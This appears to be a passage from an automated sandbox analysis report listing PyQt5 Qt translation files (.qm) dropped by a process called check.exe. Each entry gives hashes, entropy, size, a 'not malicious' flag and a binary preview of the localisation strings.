C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.631479835393124
Encrypted:	false
SSDEEP:	3:j2wZC4C/NVl/lAlHekUOplY1MUce/hlAlI+rwtbWlMpOflUlIPldkOHlz:CwO4+94jUcerAIRt6a6Uloi8
MD5:	6FBA66FE449866B478A2EBA66A724A02
SHA1:	EBEF6ED8460218CE8DF735659A8CBCD693600AC6
SHA-256:	171C7424B24D8502AB53CB3784FF34D8FCFAE26557CF8AF4DFDDEC6485ACC2FE
SHA-512:	2D2438738C6D10D8A53B46DE5A94BBF993818D080F344D9F1B94FC83D60335D9A5E8EFCC297D593FFF1D427972F9F9502FC31C332CAEA579FC7A88487390457E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ca....v.....q.t.b.a.s.e._.c.a.....q.t.s.c.r.i.p.t._.c.a.....q.t.m.u.l.t.i.m.e.d.i.a._.c.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.c.a.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	157
Entropy (8bit):	3.7483537099309427
Encrypted:	false
SSDEEP:	3:j2wZC4C/fVFlAlHekUsplY1MUcM/hlULlI+rwtbWlMpsfl8IPldkO1lPchn:CwY4+9ujUcMrURIRt6aE8oinh
MD5:	D033053C03C3ECFA2AA926E0E674F67F
SHA1:	B4E95F8278121E2549F8BB6B5DAF1496F1738A7D
SHA-256:	3C0CBFD19490D67D1B3B9E944C3A4D9A9E7F87D7AE35E88D5D5A0077349B5B21
SHA-512:	2C7E9E9DBE0B25FBA94A52FE4BCCB1D9FED2A7BD2877DB91F82546C3BC8606280949594227BA0FC1C74C31010E1F573B3A82852BE746EAA4F397140485789136
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......cs....v.....q.t.b.a.s.e._.c.s.....q.t.s.c.r.i.p.t._.c.s.....q.t.m.u.l.t.i.m.e.d.i.a._.c.s... .q.t.x.m.l.p.a.t.t.e.r.n.s._.c.s...........

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6174817344122334
Encrypted:	false
SSDEEP:	3:j2wZC4C/4Jlr/lAlHekT6hY1MUb6JAlI+rwtbWlMuel3UlIPldkOQtt:Cw7rC+3jUkAIRt6EVUloi9
MD5:	E6A683F4A0883B5B0C7D30B847EF208C
SHA1:	FF2440DBBFE04AD86C6F285426AAFD49A895B128
SHA-256:	B5036161CE808C728E5FDA985F792DB565831FD01CF00B282547790C037353A2
SHA-512:	D73B794A71DFD3A3C06BF43ED109F635B4960F9A3904FB728873AB5251BDF6A791DDFDEBA884A2703A35461E18BA902804095AC4B92A2C9361526469B6D35FFA
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......da....v.....q.t.b.a.s.e._.d.a.....q.t.s.c.r.i.p.t._.d.a.....q.t.m.u.l.t.i.m.e.d.i.a._.d.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.d.a.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6174817344122334
Encrypted:	false
SSDEEP:	3:j2wZC4C/8rJFlAlHekTul01MUbul4LlI+rwtbWlMuallyIPldkOknt:Cw/rJ4+XU5RIRt6Aaoi7t
MD5:	06168E1261BF72F49F94927723B2E1EB
SHA1:	DEAF1B53C3FEE6CB28840418D0060AFA4D59D3FC
SHA-256:	5805B8FF3747849794E2D70661D737C69C15F1AE763C38E17084B1E5A81E9153
SHA-512:	AA3915C029C74DC270514C7F50E8BEC06C825F278E0DE0477AD8ED3187700BBD7711382A6E47C3AC76AC756CEFF9FA8CDD4E9B9DAC817475BC122F78B02C7D7D
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......de....v.....q.t.b.a.s.e._.d.e.....q.t.s.c.r.i.p.t._.d.e.....q.t.m.u.l.t.i.m.e.d.i.a._.d.e... .q.t.x.m.l.p.a.t.t.e.r.n.s._.d.e.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.6070658648473097
Encrypted:	false
SSDEEP:	3:j2wZC4C/7lJFlAlHekSMthULlI+rwtbWlMvEJY1MUaEf8IPldkOzvt:CwElJ4+7MrURIRt6cujUaE8oi0F
MD5:	EE47DFADBA4414FDC051C5CFBE71DDC1
SHA1:	DE650E96A9C130D35F8A498202773EF7FC875D27
SHA-256:	E25E43F046F61022FFE871A2F73C6A12EDFC5C3EFD958C0E019A721860A053B0
SHA-512:	8C1D8901D2F66CCBF947B831858E08B703517470B2B813B241E00162A275AC9103FF5B9251AD39BD53551E0A4FB45EE74187B218A1EF7C6CF6C5FA9F9219AE04
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......es....v.....q.t.b.a.s.e._.e.s.....q.t.m.u.l.t.i.m.e.d.i.a._.e.s.....q.t.s.c.r.i.p.t._.e.s... .q.t.x.m.l.p.a.t.t.e.r.n.s._.e.s.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_fa.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	293121
Entropy (8bit):	5.272179385890926
Encrypted:	false
SSDEEP:	3072:gEo2cQbzaVmvGQYkHkMRKkNeGr+0BhaRsLAChY21rpnLqL9ytnvC58gypn4l4qF:gEZbza0HjeGrxBhaCLFC
MD5:	F9C3624197ACB30A9E6CC799BB65BED6
SHA1:	D715EAE24387DE15588F68C92991A93FAFB5EEAB
SHA-256:	B292AFB0763B8C7C30A5AF7372BFC12D8A0D00BF3DD4A000715D9F576D9C1A39
SHA-512:	199C107AE7EAFCF2A5EEC149CAFEE7ED09B938E204B56AD3AAC9568D27166F61EC8E2225A11AF26F7E1F035FB5CAD98621A01E8A9942D18C273F43B90201162A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......faB..I....*...u...+...............@.......A...J...B.......C...X...D.......E.......F...%...G.......H...0...I.......P...v...Q.......R.......S.......T..."...U.......V...h...W.......X...s...Y.......]..e....t...................-.......W.......\|.......i...;..Eu...;..Z....;...]...;..c....;.......;..0]...M..f....O.......O..2.......#....}..f=...m..fg.........(5......+;..1a..+;...V..+;...!..+O..17..+O...(..1.......E@......F....u..H4......HY...Y..H....S..I....5..I@.....IA......IC......J...1...J.......J.......J...\|...K...6...LD......L.......PS......R....Z..T.......Zr.. ...[`...O..[`......\...%@..\...2..._...&l.._...38..1........E..........2u..........1.......1...........@......4G...........................$...L...$..xY...[.......,...u...y...y...y..z.......F.......<.......g.......5W...........9...........f...E...U...E../....E..................0-...%..6....%.........................3......f..........5...?...0..EK...0......0..L ...0..c....0.......0...Z...5...........Y.. D

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_fi.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	117
Entropy (8bit):	3.739162292019161
Encrypted:	false
SSDEEP:	3:j2wZC4C/4HlAlHekRgOp1MUZWJKlI+rwtbWlMsIkk:Cwxe++IUocIRt6Qkk
MD5:	72882942B07B8AAC98034016E752B1A0
SHA1:	BF23B4C136B863B10E770019A2DF62FC988859DF
SHA-256:	048CA42DCE4FAF5FC21D843576E3C6FD963146ECC78554E7E5F34D07F64FB213
SHA-512:	403E7F4E9A0E44F2118804F0781A18EB1852797825498751E3AFA02D9558D90293ABDB570786CED80F7EFF800BEF6D9444A72E6A640D331DA46B2A0EA43C8E96
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fi....R.....q.t.b.a.s.e._.f.i.....q.t.s.c.r.i.p.t._.f.i.....q.t.m.u.l.t.i.m.e.d.i.a._.f.i.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.680458675741643
Encrypted:	false
SSDEEP:	3:j2wZC4C/FjlAlHekRL21MUZNJOLlI+rwtbWlMs9KIPldkORT:Cw3+SU0RIRt6koio
MD5:	3C45C665CFE036A7474CB4DCBB13CF40
SHA1:	62312DFF3C4CD38BAE8456C981601D0D89600F63
SHA-256:	8624033D849E670B12C9532337FCBF260F20848E044FEE7787CFE2AC92BE28DB
SHA-512:	21659AA452BC2493D915F0BE94F90CDD57759B1F1306AAA2836058D41E80DED24742EBD74E19420021514A6AB4150CA0B447574E96B9D3BF0BC5A8C78DAAF7AC
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fr....v.....q.t.b.a.s.e._.f.r.....q.t.s.c.r.i.p.t._.f.r.....q.t.m.u.l.t.i.m.e.d.i.a._.f.r... .q.t.x.m.l.p.a.t.t.e.r.n.s._.f.r.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_gd.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.463523104731333
Encrypted:	false
SSDEEP:	3:j2wZC4C/EXlAlHekQrEuknbJB:CwjO+5JY
MD5:	A8D55457C0413893F746D40B637F9C93
SHA1:	25123615482947772176E055E4A74043B2FBCAA0
SHA-256:	49DF855A004A17950338AF3146466F6DF4D5852410BD0B58EA80E0D0203A9D24
SHA-512:	99718B948D94B292BDEDF6B247A5856BC7AC78408FCC41C980F264C2C8565125786F0289F5F993DCF11B8CDA3AFB2A1D8634B1D0BC9B34992F538F8E4086EC00
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gd..........q.t.b.a.s.e._.g.d....................

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_gl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	323590
Entropy (8bit):	4.568068046062524
Encrypted:	false
SSDEEP:	3072:OYSG8zxWSDjq73Pf6FT1f4uh50QGrRfFD54YyUY0Ou4/tnra3Z0uYhB5YHfHRRn2:O39WSD3TMQGrxFD5EUVQ
MD5:	0661FFABFBC50187F3BA38876B721946
SHA1:	EB5E7205355CFC6BCB4DF27E224079842C97B296
SHA-256:	204A01AC7DEB6B5BAE193AFECBD1E50D18C73BF7D94BADEB2BBFDF6123C4ED93
SHA-512:	65AB66CC54D65E7678FA731A5C5F2CC9D6FC217B91AD47D538440811E09A23E49CD95CE62A79E3E8C275E250AC1A0B54BD289F6DD067573876DA7AFF54381D02
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gl_ESB..I...........+..&............@.......A...z...B.......C...p...D.......E......F...!...G......H.......I......P...@...Q.......R......S...5...T......U...+...V.......W...a...X.......Y...N...]..o....t..,................F.......p..............4....;..LI...;..bD...;.......;.......;.......;..cJ...M..o1...O..G....O..e.......U....}..oY...m..o........D..(5...X..+;..6/..+;...~..+;......+O..6...+O...N..1......E@...?..F.......H4..'...HY......H...3`..I......I@......IA......IC..0...J...P...J...1...J...0...J.......K...:...LD..2...L...3...PS..:A..R... d..T.......Zr..Rd..[`......[`.....\...WK..\...RR.._...X..._...f...1........E...{......7M..........1.......1....q......O.......9......................)....$... ...$.......[..,=...,..-....y..0X...y...~......Mx......]0.......H......:A......0....9...............E...o...E..b....E.........1.......c....%..;....%...;......3.......^......S................5..4Z...0..L....0.......0..n....0.......0..7....0.......5..9D......!g.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_he.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	83
Entropy (8bit):	3.880645689209568
Encrypted:	false
SSDEEP:	3:j2wZC4C/YJ/dQlHekfaB21MUXmlvt:CwT0+D/UUt
MD5:	DD5C2C6B148F2DB3E666B859776AE129
SHA1:	8368F32039CC0776A1B95C9DED5FE6C9EA0D93FD
SHA-256:	C113D14E218D5402B616DABEA27969C6F83852676468C5EF051DDDEFB3EE0235
SHA-512:	2EAE33C8707407E083F6B8B05EA2C5B987646DF1553888C16D6508C5A33B2F758DDED73323622CD50324C96F51D61B7CE822F393551A30B211ABD3CC1367249F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......he....0.....q.t.b.a.s.e._.h.e.....q.t.s.c.r.i.p.t._.h.e.......

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	8743
Entropy (8bit):	5.189558605179696
Encrypted:	false
SSDEEP:	192:YUM7gBwnG4Vxj4nyn9aAMOJckrL6esm/0sQ5HeK1nvEB:YBkKnZxkyn9aAMWPsm/0sQsGvEB
MD5:	CCD39A7C8139AD041E31B3E5D40968B4
SHA1:	5751BE96817BB6AE7C9DA9F1FBA7F42F31CFCC5D
SHA-256:	222088C9752D1CC3BAB985EF2DC77E5AE78578DCE18A61EC15B39F02E588163D
SHA-512:	9844C0EC65EE1C76DBA021EAC6D476A85E6C8F5BBAF4150C1EA80C0A95BEDE67B5E8F981360EF8599FCECDFCBCB83BC0B8AC44DDEFDCD85F914318030E346967
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......arB.....(.....d.0T.....5w......Uj....!.`.....M.a[............n..t..............39....&................B<s...V..M^...e......4.O5^...r..)^......o>...........?...t.....D ......k.N.....k.N...C...n...T...I...R..........2>.................\|..G.......w....T.......l..........,................^............$a......6.>...........x..K......W.b....._Xn......GN...m..~......!.....J.K.H.............pN.............P.~.....o.....W..(.......~......s.>......%c.....o.....R.z.q..........................n.h................e.....i..........:.J.1. .E.3.E.Q.I..........Untitled.....QHelp.....8..9.0.Q.1. .F.3... .E.D.A.Q. .'.D..Q.,.E.J.9.).:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler........9.0.Q.1. .%.F.4.'.!. .'.D./.Q.D.J.D.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....>..9.0.Q.1. .%.F.4.'.!. .,./.'.H.D. .A.J. .'.D.E.D.A.Q. .%.1........... Cannot create tables in file %1......QHelpCollectionHandler.....L..9.0.Q.1. .*.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10599
Entropy (8bit):	5.192287379770591
Encrypted:	false
SSDEEP:	192:jhYkcd7CYBdmfIOeX3byuJRoZXlBYnEpUYR+BJqO5X9pA2NNrxC0zwRK2nMY762A:a71DQIrLuVCnEtR+DquhN5xC0zwKPYHA
MD5:	5538049DA3A1D1D724AB6E11D2E2EDBE
SHA1:	7256BE390B88A053C0252488C443BE42F6F2D92A
SHA-256:	CBCDD1E0BBAE332D80DDB0A286056F17C824FA28D353D7FDF12FC97D9F6FE054
SHA-512:	DD98CAF3A016968EEDC9106C1839DDECC2D109E9E354708BD74B35E766C6A098C1680C0B867EAD9FCE2E2A6D683BE673B8E5DF1A1B2F1AAFDB31910FF833370F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......bgB...(.(.......0T......5w... S.Uj......`.......a[....(..........t..............39..........&..........B<s...4..M^..........q...J..%..O5^...O..)^...I..o>...I...J..%.......#....t...A.8dz..$..D ....Z.k.N...<.k.N.......n.......I..............2>...p................G..."...w....................7..,................^............$a....<.6.>..........#...K...........$1.W.b....._Xn......GN...*..~....-..TH.."..!.....5.K.H..#R.........pN..."......&..P.~...@.o.....v..(.........."8..~......s.>.....o.... ..z.q..........................O.h....!t..........e....mi..'.....\|.(...@.8.G.8.=.0.B.0. .<.>.6.5. .4.0. .5.,. .G.5. .4.>.:.C.<.5.=.B.0.F.8.O.B.0. .2.A.5. .>.I.5. .A.5. .8.=.4.5.:.A.8.@.0...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.........0.1.5.;.5.6.:.0.:..........Note:.....QCLuceneResultWidget.....,. .5.7.C.;.B.0.B.8. .>.B. .B.J.@.A.5.=.5.B.>..........Search Results.....QCLuceneResultWidget....... .

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7444
Entropy (8bit):	4.580794980254807
Encrypted:	false
SSDEEP:	192:G8oS34B7n303D37Bn3Jso37cfp3Mg3H373R58noct36R9RFu:GQU7ETrxZvqTXLSoct36Pzu
MD5:	66722ED97BCBFD3DAE3C8264413859AB
SHA1:	400A93B213FCF9BBC9785881EA82ADB9F444CD6C
SHA-256:	ECD4283A660F2CF72849B323810D7EADD063120B6F561E05AA1243A5B280946A
SHA-512:	B898BAC9652D7532384ED5CC53FA62DB55D516421D13F815A3E6D5E80AD4C69555F1A7E6C51F8B0A234614824EEE01D6731458F90D40A585990F84A58B9ABE44
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......caB............%.......0T......K:^.....Uj......`.....P..YJ...V.E.4...*...........>...7........B<s.....B\>...6........+.s.....zq.......9.......vR......@.......@.......:....;.8Z....!.g.N......F................t.....D ....z.k.N.......I......^......`#.......2.......G........N...7......N......{..................K...............GN......NO...5.........K.H...@.........pN......V............q..................>...N.........~.....5..%c...:.z.q....i...4....".A.f.e.g.e.i.x. .u.n. .f.i.l.t.r.e..........Add Filter.....FilterNameDialogClass.......N.o.m. .d.e.l. .f.i.l.t.r.e.:..........Filter Name:.....FilterNameDialogClass.......S.e.n.s.e. .t...t.o.l..........Untitled.....QHelp.....`.N.o. .s.'.h.a. .p.o.g.u.t. .c.o.p.i.a.r. .e.l. .f.i.t.x.e.r. .d.e. .c.o.l...l.e.c.c.i...:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....H.N.o. .s.'.h.a. .p.o.g.u.t. .c.r.e.a.r. .e.l. .d.i.r.e.c.t.o.r.i.:. .%.1..........Cannot create directory: %1.....QHelpCollect

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	15297
Entropy (8bit):	4.708378368926237
Encrypted:	false
SSDEEP:	384:hmv1gdEYEiNrVhTBvAn1ca1f5lwHoJr0vwuxqsP/5jxA:o1gdEvgbloCof9ixqspW
MD5:	ED228F0F60AE9AEC28AB9171D5AE9590
SHA1:	7F061CF0C699D125A5531E3480C21964452F45EA
SHA-256:	4AC56FC63E400943BAB13F1D4C418502138908E1D488C24AEE6131D3D17552AA
SHA-512:	794CC671C08BFC50980820A6389B9D0D3514619AD0A8F18EFD5554CBBF2482192DF00B9D3B05FEE45F42276E63E2375FB28E193930D426245035B4B0E3E14ED8
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......cs_CZB...H.(.......(.......0T......0T......5w...0..Uj......`.......a[......a[....$.......p..........t.......t...........!..1"....T.39....T.39.......s...0......(......7/.................B<s...L..MQ......M^../q..........J..6@.0....B.O5Q..'..O5^..(A..)Q...X..)^......o>..........+....J..6.......4....t.....8dz..5..D ....R.D ......k.A.....k.A.....k.N.....k.N.......n.."....I..........................2...21......2>..........d.............T..G...4...w...!N......&O......&....!..".......#E..,...,.......)....Q..$/...^..$................$a......6.>.. t......5...K.......K....)......5E.W.b..-.._Xa..%a._Xn..%...GA......GN...?......,9..~.......TH..3..!......K.H..4h.........pA...J..pN..........7..P.~.. ..o.....0..(....*..(..........3V..~....T.s.1.....s.>..._.o....0..o....1p.z.q..........'9.....#........^.........h....2................Z..e... .i..8J......(.D.o.v.o.d.e.m. .p.r.o. .t.o. .b.y. .m.o.h.l.o. .b...t.,. .~.e. .d.o.k.u.m.e.n.t.a.c.e. .j.e. .s.t...l.e. .j.e.a.t...

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	4795
Entropy (8bit):	4.530246422531362
Encrypted:	false
SSDEEP:	96:X82wNlnKfN1LMFy7LsF3ZqBFZjWo0koBLqBXXjGL0qU7UqB7zoElmP5MUu4DZIHU:XM01f7eOnoB8X2s7Vfg5Mi4beXiOUu
MD5:	1D09BEE1FB55A173F7EB39B9A662A170
SHA1:	C77F0A148262A91679F19689E4790B754D45D5D5
SHA-256:	6BB092552A398687119F6D52145F04BF8373977446D8F00C0DCBD56B96829F0F
SHA-512:	BE5A31A6135E8DB024A8B0EB20C4D8EECBF76861F83FF83B4CA97327DB74AD94BB5D77B4E0A59A33B697C32A4EACD61B8C878951F2C545385C74D99FCE56FEE1
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......daB.....%.....m.0T......Uj....V.`....................k.B<s.....B\>..........6.+.s...............t.....D ....\|.k.N...9...I...O..2.......G....B...N...O..............!..K...._..........GN...........@.K.H.............pN..............>.....~.....m..%c.....z.q....i..........U.n.a.v.n.g.i.v.e.t..........Untitled.....QHelp.....D.K.a.n. .i.k.k.e. .k.o.p.i.e.r.e. .s.a.m.l.i.n.g.s.f.i.l.e.n.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....6.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .m.a.p.p.e.n.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....V.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .i.n.d.e.k.s.t.a.b.e.l.l.e.r. .i. .f.i.l.e.n. .%.1...........&Cannot create index tables in file %1......QHelpCollectionHandler.....J.K.a.n. .i.k.k.e. .o.p.r.e.t.t.e. .t.a.b.e.l.l.e.r. .i. .f.i.l.e.n. .%.1........... Cannot create tables in file %1......QHelpCollectionHandler.....P.K.a.n. .i.k.k.e. .i.n.d.l...s.e. .s.q.l.i.t.e.-.d.a.t.a.b.a.s.e.-.d.r

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7570
Entropy (8bit):	4.550982634910665
Encrypted:	false
SSDEEP:	96:8y/gPmmhL/7LlSivP6kBL7jb0RNUzzpld4UGG3Ik18fLP0L7fGc0OeVP8a8hiAwj:1OD7hx/Bv3oNuFX4iqgv34fZsu
MD5:	3B070D169E3381E2FB081172934AAD00
SHA1:	70886EB7EF566B296D0814BD4C2440AC176699D6
SHA-256:	9962523FBAE9F1E4C3B5C3C16860D059291CB30DC5EBE5A5EDA4C836A03FED1E
SHA-512:	271B730B5A7358E923BBBC6FA074A72DA52FA47E3B7726779EF7034200EDA09BF0E1AE4E7B11B59F76805F48DC285F6EFC245EB9C7F4A748BE82B25CEE1DDCAE
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......deB..........B.%.....5.0T......K:^.....Uj....?.`.....f..YJ...V.E.4...............>............B<s...z.B\>...\........+.s...Q.zq....C..9....4..vR...B..@.......@.......:......8Z......g.N......F....>...........t.....D ......k.N.......I......^....\|.`#....I..2....<..G....^...N.........................;..........K....y..........GN......NO...........,.K.H.............pN......V...................."..........>.............~........%c.....z.q....i........".F.i.l.t.e.r. .h.i.n.z.u.f...g.e.n..........Add Filter.....FilterNameDialogClass.....".N.a.m.e. .d.e.s. .F.i.l.t.e.r.s.:..........Filter Name:.....FilterNameDialogClass.......O.h.n.e. .T.i.t.e.l..........Untitled.....QHelp.....\.D.i.e. .K.a.t.a.l.o.g.d.a.t.e.i. .k.a.n.n. .n.i.c.h.t. .k.o.p.i.e.r.t. .w.e.r.d.e.n.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....\.D.a.s. .V.e.r.z.e.i.c.h.n.i.s. .k.a.n.n. .n.i.c.h.t. .a.n.g.e.l.e.g.t. .w.e.r.d.e.n.:. .%.1..........Cannot create directory: %

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10704
Entropy (8bit):	4.481291573289571
Encrypted:	false
SSDEEP:	192:q9J9j7e4BQhD0h61nnKz+DJF/45ojDU9V1Wa/rmtIBMH:Wp64ShDnnKz+FhjQpWa/ytoMH
MD5:	9EDF433AB9EE5FC7CF7782370150B26A
SHA1:	A918AE15A0DF187C7789BE8599A80E279F039964
SHA-256:	FD16B279F8CF69077F75E94D90C9C07A2AFFF3948A579E3789F5FFB5E5F4202D
SHA-512:	88245F6FBAAF603A03D7EA2341411AE040791D47C9FF110C6D6CDD8165F0A8BA7A4A0DA5CD543BBE95A4E93FE3A81E95B3664E00C11791FBCB4923E3A80ABC60
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......es_ESB...(.(.....7.0T..../.5w... C.Uj......`.......a[....0..........t..............39..........&e.........B<s...D..M^..............J..%p.O5^...I..)^...1..o>.......J..%.......#....t.....8dz..$..D ......k.N.....k.N.......n.......I..............2>....................G...#...w............!.......%..,................^............$a......6.>..........#...K...........$C.W.b....._Xn......GN...\|..~.......TH.."..!.....5.K.H..#f.........pN...j......'..P.~... .o........(....>....."<..~....c.s.>.....o.... ..z.q..........................u.h....!p.......*..e....Qi..'}......(.L.a. .r.a.z...n. .d.e. .e.s.t.o. .p.u.e.d.e. .s.e.r. .q.u.e. .l.a. .d.o.c.u.m.e.n.t.a.c.i...n. .a...n. .e.s.t... .s.i.e.n.d.o. .i.n.d.e.x.a.d.a...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.....2.R.e.s.u.l.t.a.d.o.s. .d.e. .l.a. .B...s.q.u.e.d.a..........Search Results.....QCLu

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_help_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10922
Entropy (8bit):	4.459946393010639
Encrypted:	false
SSDEEP:	192:w4BIn67/WsmoB3r6M/eYlSbyE7DnvE7pcn9nPJZe7nOFovzcNn7Uhmio+2/p53I/:w4N19fq3n2c9Bucuhmi52/X3Qpam
MD5:	D520C7F85CC06C66715A2B6622BF0687
SHA1:	47292D068172FBC9DC0D9BE2F479E890A37CE138
SHA-256:	687E351C062F688AAFF6CF05218D6017B80B1A1B4238D1D30250A55EE41C5FED
SHA-512:	736B50BB64751B127300BCAFE88888A9D9A2081CBF934EDCFFEF6CEF0575505AFDF714273A97671ABB598AE3D23C8E55F7DCD632FB0AA219ED5F763768576E04
Malicious:	false
Reputation:	unknown
